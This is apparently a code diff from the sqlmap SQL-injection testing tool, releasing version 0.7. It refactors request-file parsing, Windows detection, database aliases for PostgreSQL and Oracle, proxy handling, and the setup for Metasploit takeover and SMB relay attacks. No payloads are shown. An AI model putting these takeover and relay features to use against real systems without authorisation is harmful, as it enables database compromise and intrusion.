|
||||||
|
if scheme is None:
|
||||||
|
schemePort = re.search("\d\d[\:|\.]\d\d[\:|\.]\d\d\s+(http[\w]*)\:\/\/.*?\:([\d]+)", request, re.I)
|
||||||
|
|
||||||
|
if schemePort:
|
||||||
|
scheme = schemePort.group(1)
|
||||||
|
port = schemePort.group(2)
|
||||||
|
|
||||||
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
@@ -134,10 +143,12 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
|
|
||||||
getPostReq = True
|
getPostReq = True
|
||||||
|
|
||||||
|
# GET parameters
|
||||||
elif "?" in line and "=" in line and ": " not in line:
|
elif "?" in line and "=" in line and ": " not in line:
|
||||||
data = line
|
data = line
|
||||||
params = True
|
params = True
|
||||||
|
|
||||||
|
# Cookie and Host headers
|
||||||
elif ": " in line:
|
elif ": " in line:
|
||||||
key, value = line.split(": ", 1)
|
key, value = line.split(": ", 1)
|
||||||
|
|
||||||
@@ -146,9 +157,16 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
|||||||
elif key.lower() == "host":
|
elif key.lower() == "host":
|
||||||
host = value
|
host = value
|
||||||
|
|
||||||
|
# POST parameters
|
||||||
|
elif method is not None and method == "POST" and "=" in line:
|
||||||
|
data = line
|
||||||
|
params = True
|
||||||
|
|
||||||
if getPostReq and params:
|
if getPostReq and params:
|
||||||
if not url.startswith("http"):
|
if not url.startswith("http"):
|
||||||
url = "http://%s%s" % (host, url)
|
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
|
||||||
|
scheme = None
|
||||||
|
port = None
|
||||||
|
|
||||||
if not kb.targetUrls or url not in addedTargetUrls:
|
if not kb.targetUrls or url not in addedTargetUrls:
|
||||||
kb.targetUrls.add(( url, method, data, cookie ))
|
kb.targetUrls.add(( url, method, data, cookie ))
|
||||||
@@ -252,24 +270,40 @@ def __setMetasploit():
|
|||||||
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
||||||
return
|
return
|
||||||
|
|
||||||
|
debugMsg = "setting the takeover out-of-band functionality"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
msfEnvPathExists = False
|
||||||
|
|
||||||
|
if IS_WIN is True:
|
||||||
|
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
|
||||||
|
warnMsg += "on the native Windows Ruby interpreter. Please "
|
||||||
|
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
|
||||||
|
warnMsg += "Cygwin or use Linux in VMWare to use sqlmap takeover "
|
||||||
|
warnMsg += "out-of-band features. sqlmap will now continue "
|
||||||
|
warnMsg += "without calling any takeover feature"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
conf.osPwn = None
|
||||||
|
conf.osSmb = None
|
||||||
|
conf.osBof = None
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
if conf.osSmb:
|
if conf.osSmb:
|
||||||
isAdmin = False
|
isAdmin = False
|
||||||
|
|
||||||
if "win" in PLATFORM:
|
if "linux" in PLATFORM or "darwin" in PLATFORM:
|
||||||
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
|
||||||
|
|
||||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
|
||||||
isAdmin = True
|
|
||||||
|
|
||||||
elif "linux" in PLATFORM:
|
|
||||||
isAdmin = os.geteuid()
|
isAdmin = os.geteuid()
|
||||||
|
|
||||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
||||||
isAdmin = True
|
isAdmin = True
|
||||||
|
|
||||||
# TODO: add support for Mac OS X
|
elif IS_WIN is True:
|
||||||
#elif "darwin" in PLATFORM:
|
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
||||||
# pass
|
|
||||||
|
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
||||||
|
isAdmin = True
|
||||||
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "sqlmap is not able to check if you are running it "
|
warnMsg = "sqlmap is not able to check if you are running it "
|
||||||
@@ -281,18 +315,13 @@ def __setMetasploit():
|
|||||||
|
|
||||||
isAdmin = True
|
isAdmin = True
|
||||||
|
|
||||||
if isAdmin != True:
|
if isAdmin is not True:
|
||||||
errMsg = "you need to run sqlmap as an administrator/root "
|
errMsg = "you need to run sqlmap as an Administrator/root "
|
||||||
errMsg += "user if you want to perform a SMB relay attack "
|
errMsg += "user if you want to perform a SMB relay attack "
|
||||||
errMsg += "because it will need to listen on a user-specified "
|
errMsg += "because it will need to listen on a user-specified "
|
||||||
errMsg += "SMB TCP port for incoming connection attempts"
|
errMsg += "SMB TCP port for incoming connection attempts"
|
||||||
raise sqlmapMissingPrivileges, errMsg
|
raise sqlmapMissingPrivileges, errMsg
|
||||||
|
|
||||||
debugMsg = "setting the out-of-band functionality"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
msfEnvPathExists = False
|
|
||||||
|
|
||||||
if conf.msfPath:
|
if conf.msfPath:
|
||||||
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
|
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
|
||||||
@@ -326,12 +355,13 @@ def __setMetasploit():
|
|||||||
|
|
||||||
envPaths = os.environ["PATH"]
|
envPaths = os.environ["PATH"]
|
||||||
|
|
||||||
if "win" in PLATFORM:
|
if IS_WIN is True:
|
||||||
envPaths = envPaths.split(";")
|
envPaths = envPaths.split(";")
|
||||||
else:
|
else:
|
||||||
envPaths = envPaths.split(":")
|
envPaths = envPaths.split(":")
|
||||||
|
|
||||||
for envPath in envPaths:
|
for envPath in envPaths:
|
||||||
|
envPath = envPath.replace(";", "")
|
||||||
condition = os.path.exists(os.path.normpath(envPath))
|
condition = os.path.exists(os.path.normpath(envPath))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
|
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
|
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
|
||||||
@@ -433,8 +463,10 @@ def __setDBMS():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.dbms = conf.dbms.lower()
|
conf.dbms = conf.dbms.lower()
|
||||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
@@ -465,8 +497,6 @@ def __setHTTPProxy():
|
|||||||
if not conf.proxy:
|
if not conf.proxy:
|
||||||
return
|
return
|
||||||
|
|
||||||
parseTargetUrl()
|
|
||||||
|
|
||||||
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
@@ -488,8 +518,8 @@ def __setHTTPProxy():
|
|||||||
|
|
||||||
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
|
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
|
||||||
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
|
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
|
||||||
# can't be tunneled over an HTTP proxy natively by Python urllib2
|
# can't be tunneled over an HTTP proxy natively by Python (<= 2.5)
|
||||||
# standard library
|
# urllib2 standard library
|
||||||
if conf.scheme == "https":
|
if conf.scheme == "https":
|
||||||
proxyHandler = ProxyHTTPSHandler(__proxyString)
|
proxyHandler = ProxyHTTPSHandler(__proxyString)
|
||||||
else:
|
else:
|
||||||
@@ -517,8 +547,6 @@ def __setHTTPAuthentication():
|
|||||||
errMsg += "but did not provide the type"
|
errMsg += "but did not provide the type"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
parseTargetUrl()
|
|
||||||
|
|
||||||
debugMsg = "setting the HTTP Authentication type and credentials"
|
debugMsg = "setting the HTTP Authentication type and credentials"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
@@ -571,6 +599,9 @@ def __setHTTPMethod():
|
|||||||
|
|
||||||
|
|
||||||
def __setHTTPExtraHeaders():
|
def __setHTTPExtraHeaders():
|
||||||
|
if conf.hostname:
|
||||||
|
conf.httpHeaders.append(("Host", conf.hostname))
|
||||||
|
|
||||||
if conf.headers:
|
if conf.headers:
|
||||||
debugMsg = "setting extra HTTP headers"
|
debugMsg = "setting extra HTTP headers"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
@@ -597,6 +628,13 @@ def __defaultHTTPUserAgent():
|
|||||||
|
|
||||||
return "%s (%s)" % (VERSION_STRING, SITE)
|
return "%s (%s)" % (VERSION_STRING, SITE)
|
||||||
|
|
||||||
|
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
|
||||||
|
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
|
||||||
|
|
||||||
|
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
|
||||||
|
# updated at March 2009
|
||||||
|
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
|
||||||
|
|
||||||
|
|
||||||
def __setHTTPUserAgent():
|
def __setHTTPUserAgent():
|
||||||
"""
|
"""
|
||||||
@@ -926,7 +964,12 @@ def __mergeOptions(inputOptions):
|
|||||||
if inputOptions.configFile:
|
if inputOptions.configFile:
|
||||||
configFileParser(inputOptions.configFile)
|
configFileParser(inputOptions.configFile)
|
||||||
|
|
||||||
for key, value in inputOptions.__dict__.items():
|
if hasattr(inputOptions, "items"):
|
||||||
|
inputOptionsItems = inputOptions.items()
|
||||||
|
else:
|
||||||
|
inputOptionsItems = inputOptions.__dict__.items()
|
||||||
|
|
||||||
|
for key, value in inputOptionsItems:
|
||||||
if not conf.has_key(key) or conf[key] == None or value != None:
|
if not conf.has_key(key) or conf[key] == None or value != None:
|
||||||
conf[key] = value
|
conf[key] = value
|
||||||
|
|
||||||
@@ -943,6 +986,9 @@ def init(inputOptions=advancedDict()):
|
|||||||
__setConfAttributes()
|
__setConfAttributes()
|
||||||
__setKnowledgeBaseAttributes()
|
__setKnowledgeBaseAttributes()
|
||||||
__cleanupOptions()
|
__cleanupOptions()
|
||||||
|
|
||||||
|
parseTargetUrl()
|
||||||
|
|
||||||
__setHTTPTimeout()
|
__setHTTPTimeout()
|
||||||
__setHTTPCookies()
|
__setHTTPCookies()
|
||||||
__setHTTPReferer()
|
__setHTTPReferer()
|
||||||
|
|||||||
@@ -32,6 +32,7 @@ boolean and _outputfile variable used in genutils.
|
|||||||
import sys
|
import sys
|
||||||
|
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import PLATFORM
|
from lib.core.settings import PLATFORM
|
||||||
|
|
||||||
|
|
||||||
@@ -49,7 +50,7 @@ except ImportError:
|
|||||||
except ImportError:
|
except ImportError:
|
||||||
haveReadline = False
|
haveReadline = False
|
||||||
|
|
||||||
if 'win' in PLATFORM and haveReadline:
|
if IS_WIN is True and haveReadline:
|
||||||
try:
|
try:
|
||||||
_outputfile=_rl.GetOutputFile()
|
_outputfile=_rl.GetOutputFile()
|
||||||
except AttributeError:
|
except AttributeError:
|
||||||
|
|||||||
@@ -34,6 +34,8 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
|
|
||||||
|
|
||||||
def setString():
|
def setString():
|
||||||
@@ -133,8 +135,10 @@ def setDbms(dbms):
|
|||||||
if condition:
|
if condition:
|
||||||
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
|
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
|
||||||
|
|
||||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||||
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
|
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
@@ -368,20 +372,23 @@ def resumeConfKb(expression, url, value):
|
|||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
elif expression == "DBMS" and url == conf.url:
|
elif expression == "DBMS" and url == conf.url:
|
||||||
dbms = value[:-1]
|
dbms = value[:-1]
|
||||||
|
dbms = dbms.lower()
|
||||||
|
dbmsVersion = None
|
||||||
|
|
||||||
logMsg = "resuming back-end DBMS '%s' " % dbms
|
logMsg = "resuming back-end DBMS '%s' " % dbms
|
||||||
logMsg += "from session file"
|
logMsg += "from session file"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
dbms = dbms.lower()
|
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
"|".join([alias for alias in MYSQL_ALIASES]),
|
||||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
"|".join([alias for alias in PGSQL_ALIASES]),
|
||||||
|
"|".join([alias for alias in ORACLE_ALIASES]))
|
||||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
||||||
|
|
||||||
if dbmsRegExp:
|
if dbmsRegExp:
|
||||||
dbms = dbmsRegExp.group(1)
|
dbms = dbmsRegExp.group(1)
|
||||||
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
|
dbmsVersion = [ dbmsRegExp.group(2) ]
|
||||||
|
|
||||||
if conf.dbms and conf.dbms.lower() != dbms:
|
if conf.dbms and conf.dbms.lower() != dbms:
|
||||||
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
||||||
@@ -392,9 +399,11 @@ def resumeConfKb(expression, url, value):
|
|||||||
test = readInput(message, default="N")
|
test = readInput(message, default="N")
|
||||||
|
|
||||||
if not test or test[0] in ("n", "N"):
|
if not test or test[0] in ("n", "N"):
|
||||||
conf.dbms = dbms
|
conf.dbms = dbms
|
||||||
|
kb.dbmsVersion = dbmsVersion
|
||||||
else:
|
else:
|
||||||
conf.dbms = dbms
|
conf.dbms = dbms
|
||||||
|
kb.dbmsVersion = dbmsVersion
|
||||||
|
|
||||||
elif expression == "OS" and url == conf.url:
|
elif expression == "OS" and url == conf.url:
|
||||||
os = value[:-1]
|
os = value[:-1]
|
||||||
|
|||||||
@@ -25,12 +25,12 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
|
||||||
# sqlmap version and site
|
# sqlmap version and site
|
||||||
VERSION = "0.7rc1"
|
VERSION = "0.7"
|
||||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||||
SITE = "http://sqlmap.sourceforge.net"
|
SITE = "http://sqlmap.sourceforge.net"
|
||||||
|
|
||||||
@@ -47,6 +47,7 @@ LOGGER.addHandler(LOGGER_HANDLER)
|
|||||||
LOGGER.setLevel(logging.WARN)
|
LOGGER.setLevel(logging.WARN)
|
||||||
|
|
||||||
# System variables
|
# System variables
|
||||||
|
IS_WIN = subprocess.mswindows
|
||||||
PLATFORM = sys.platform.lower()
|
PLATFORM = sys.platform.lower()
|
||||||
PYVERSION = sys.version.split()[0]
|
PYVERSION = sys.version.split()[0]
|
||||||
|
|
||||||
|
|||||||
@@ -73,8 +73,8 @@ class CompleterNG(rlcompleter.Completer):
|
|||||||
matches = []
|
matches = []
|
||||||
n = len(text)
|
n = len(text)
|
||||||
|
|
||||||
for list in [ self.namespace ]:
|
for ns in [ self.namespace ]:
|
||||||
for word in list:
|
for word in ns:
|
||||||
if word[:n] == text:
|
if word[:n] == text:
|
||||||
matches.append(word)
|
matches.append(word)
|
||||||
|
|
||||||
|
|||||||
@@ -24,17 +24,21 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
import fcntl
|
|
||||||
import errno
|
import errno
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
|
|
||||||
if (sys.hexversion >> 16) >= 0x202:
|
|
||||||
FCNTL = fcntl
|
if IS_WIN is not True:
|
||||||
else:
|
import fcntl
|
||||||
import FCNTL
|
|
||||||
|
if (sys.hexversion >> 16) >= 0x202:
|
||||||
|
FCNTL = fcntl
|
||||||
|
else:
|
||||||
|
import FCNTL
|
||||||
|
|
||||||
|
|
||||||
def blockingReadFromFD(fd):
|
def blockingReadFromFD(fd):
|
||||||
@@ -84,6 +88,7 @@ def setNonBlocking(fd):
|
|||||||
Make a file descriptor non-blocking
|
Make a file descriptor non-blocking
|
||||||
"""
|
"""
|
||||||
|
|
||||||
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
|
if IS_WIN is not True:
|
||||||
flags = flags | os.O_NONBLOCK
|
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
|
||||||
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)
|
flags = flags | os.O_NONBLOCK
|
||||||
|
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)
|
||||||
|
|||||||
@@ -25,17 +25,14 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import paramToDict
|
from lib.core.common import paramToDict
|
||||||
from lib.core.common import parseTargetUrl
|
from lib.core.common import parseTargetUrl
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.convert import urldecode
|
from lib.core.convert import urldecode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.dump import dumper
|
from lib.core.dump import dumper
|
||||||
from lib.core.exception import sqlmapFilePathException
|
from lib.core.exception import sqlmapFilePathException
|
||||||
|
|||||||
@@ -109,12 +109,15 @@ def __updateMSSQLXML():
|
|||||||
servicePack = servicePack[:servicePack.index("-")]
|
servicePack = servicePack[:servicePack.index("-")]
|
||||||
if "*" in servicePack:
|
if "*" in servicePack:
|
||||||
servicePack = servicePack[:servicePack.index("*")]
|
servicePack = servicePack[:servicePack.index("*")]
|
||||||
|
if servicePack.startswith("+"):
|
||||||
|
servicePack = "0%s" % servicePack
|
||||||
|
|
||||||
servicePack = servicePack.replace("\t", " ")
|
servicePack = servicePack.replace("\t", " ")
|
||||||
servicePack = servicePack.replace(" ", " ")
|
servicePack = servicePack.replace(" ", " ")
|
||||||
servicePack = servicePack.replace("No SP", "0")
|
servicePack = servicePack.replace("No SP", "0")
|
||||||
servicePack = servicePack.replace("RTM", "0")
|
servicePack = servicePack.replace("RTM", "0")
|
||||||
servicePack = servicePack.replace("SP", "")
|
servicePack = servicePack.replace("SP", "")
|
||||||
|
servicePack = servicePack.replace("Service Pack", "")
|
||||||
servicePack = servicePack.replace("<a href=\"http:", "")
|
servicePack = servicePack.replace("<a href=\"http:", "")
|
||||||
|
|
||||||
if servicePack.endswith(" "):
|
if servicePack.endswith(" "):
|
||||||
@@ -205,7 +208,7 @@ def __createFile(pathname, data):
|
|||||||
fileFP.close()
|
fileFP.close()
|
||||||
|
|
||||||
|
|
||||||
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
|
def __extractZipFile(tempDir, zipFile):
|
||||||
# Check if the saved binary file is really a ZIP file
|
# Check if the saved binary file is really a ZIP file
|
||||||
if zipfile.is_zipfile(zipFile):
|
if zipfile.is_zipfile(zipFile):
|
||||||
sqlmapZipFile = zipfile.ZipFile(zipFile)
|
sqlmapZipFile = zipfile.ZipFile(zipFile)
|
||||||
@@ -285,13 +288,13 @@ def __updateSqlmap():
|
|||||||
tempDir = tempfile.gettempdir()
|
tempDir = tempfile.gettempdir()
|
||||||
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
|
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
|
||||||
__createFile(zipFile, sqlmapBinaryString)
|
__createFile(zipFile, sqlmapBinaryString)
|
||||||
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion)
|
__extractZipFile(tempDir, zipFile)
|
||||||
|
|
||||||
# For each file and directory in the temporary directory copy it
|
# For each file and directory in the temporary directory copy it
|
||||||
# to the sqlmap root path and set right permission
|
# to the sqlmap root path and set right permission
|
||||||
# TODO: remove files not needed anymore and all pyc within the
|
# TODO: remove files not needed anymore and all pyc within the
|
||||||
# sqlmap root path in the end
|
# sqlmap root path in the end
|
||||||
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
||||||
# Just for development release
|
# Just for development release
|
||||||
if '.svn' in root:
|
if '.svn' in root:
|
||||||
continue
|
continue
|
||||||
|
|||||||
@@ -245,7 +245,7 @@ def cmdLineParser():
|
|||||||
|
|
||||||
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
||||||
help="Dump DBMS database table entries "
|
help="Dump DBMS database table entries "
|
||||||
"(req -T, opt -D, -C, --start, --stop)")
|
"(req -T, opt -D, -C)")
|
||||||
|
|
||||||
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
||||||
help="Dump all DBMS databases tables entries")
|
help="Dump all DBMS databases tables entries")
|
||||||
@@ -268,10 +268,10 @@ def cmdLineParser():
|
|||||||
"enumerating tables")
|
"enumerating tables")
|
||||||
|
|
||||||
enumeration.add_option("--start", dest="limitStart", type="int",
|
enumeration.add_option("--start", dest="limitStart", type="int",
|
||||||
help="First table entry to dump")
|
help="First query output entry to retrieve")
|
||||||
|
|
||||||
enumeration.add_option("--stop", dest="limitStop", type="int",
|
enumeration.add_option("--stop", dest="limitStop", type="int",
|
||||||
help="Last table entry to dump")
|
help="Last query output entry to retrieve")
|
||||||
|
|
||||||
enumeration.add_option("--sql-query", dest="query",
|
enumeration.add_option("--sql-query", dest="query",
|
||||||
help="SQL statement to be executed")
|
help="SQL statement to be executed")
|
||||||
|
|||||||
@@ -29,7 +29,6 @@ import re
|
|||||||
from xml.sax.handler import ContentHandler
|
from xml.sax.handler import ContentHandler
|
||||||
|
|
||||||
from lib.core.common import sanitizeStr
|
from lib.core.common import sanitizeStr
|
||||||
from lib.core.data import kb
|
|
||||||
|
|
||||||
|
|
||||||
class FingerprintHandler(ContentHandler):
|
class FingerprintHandler(ContentHandler):
|
||||||
|
|||||||
@@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
|
|
||||||
from lib.core.common import checkFile
|
from lib.core.common import checkFile
|
||||||
|
|||||||
@@ -24,11 +24,11 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import os
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import paths
|
|
||||||
from lib.parse.headers import headersParser
|
from lib.parse.headers import headersParser
|
||||||
from lib.parse.html import htmlParser
|
from lib.parse.html import htmlParser
|
||||||
|
|
||||||
@@ -73,8 +73,11 @@ def parseResponse(page, headers):
|
|||||||
# Detect injectable page absolute system path
|
# Detect injectable page absolute system path
|
||||||
# NOTE: this regular expression works if the remote web application
|
# NOTE: this regular expression works if the remote web application
|
||||||
# is written in PHP and debug/error messages are enabled.
|
# is written in PHP and debug/error messages are enabled.
|
||||||
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
|
absFilePathsRegExp = ( " in <b>(.*?)</b> on line", "([\w]\:[\/\\\\]+)" )
|
||||||
|
|
||||||
for absFilePath in absFilePaths:
|
for absFilePathRegExp in absFilePathsRegExp:
|
||||||
if absFilePath not in kb.absFilePaths:
|
absFilePaths = re.findall(absFilePathRegExp, page, re.I)
|
||||||
kb.absFilePaths.add(absFilePath)
|
|
||||||
|
for absFilePath in absFilePaths:
|
||||||
|
if absFilePath not in kb.absFilePaths:
|
||||||
|
kb.absFilePaths.add(os.path.dirname(absFilePath))
|
||||||
|
|||||||
@@ -26,7 +26,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.convert import md5hash
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.session import setMatchRatio
|
from lib.core.session import setMatchRatio
|
||||||
|
|||||||
@@ -92,12 +92,15 @@ class Connect:
|
|||||||
url = "%s?%s" % (url, params)
|
url = "%s?%s" % (url, params)
|
||||||
requestMsg += "?%s" % params
|
requestMsg += "?%s" % params
|
||||||
|
|
||||||
elif multipart:
|
if post:
|
||||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
post = urlencode(post).replace("%%", "%")
|
||||||
conn = multipartOpener.open(url, multipart)
|
|
||||||
page = conn.read()
|
|
||||||
|
|
||||||
return page
|
elif multipart:
|
||||||
|
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||||
|
conn = multipartOpener.open(url, multipart)
|
||||||
|
page = conn.read()
|
||||||
|
|
||||||
|
return page
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if conf.parameters.has_key("GET") and not get:
|
if conf.parameters.has_key("GET") and not get:
|
||||||
@@ -160,9 +163,9 @@ class Connect:
|
|||||||
logger.log(9, requestMsg)
|
logger.log(9, requestMsg)
|
||||||
|
|
||||||
# Get HTTP response
|
# Get HTTP response
|
||||||
page = conn.read()
|
page = conn.read()
|
||||||
code = conn.code
|
code = conn.code
|
||||||
status = conn.msg
|
status = conn.msg
|
||||||
responseHeaders = conn.info()
|
responseHeaders = conn.info()
|
||||||
|
|
||||||
except urllib2.HTTPError, e:
|
except urllib2.HTTPError, e:
|
||||||
@@ -210,7 +213,7 @@ class Connect:
|
|||||||
|
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
|
return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise sqlmapConnectionException, warnMsg
|
raise sqlmapConnectionException, warnMsg
|
||||||
|
|||||||
@@ -33,7 +33,6 @@ from lib.core.common import dataToSessionFile
|
|||||||
from lib.core.common import expandAsteriskForColumns
|
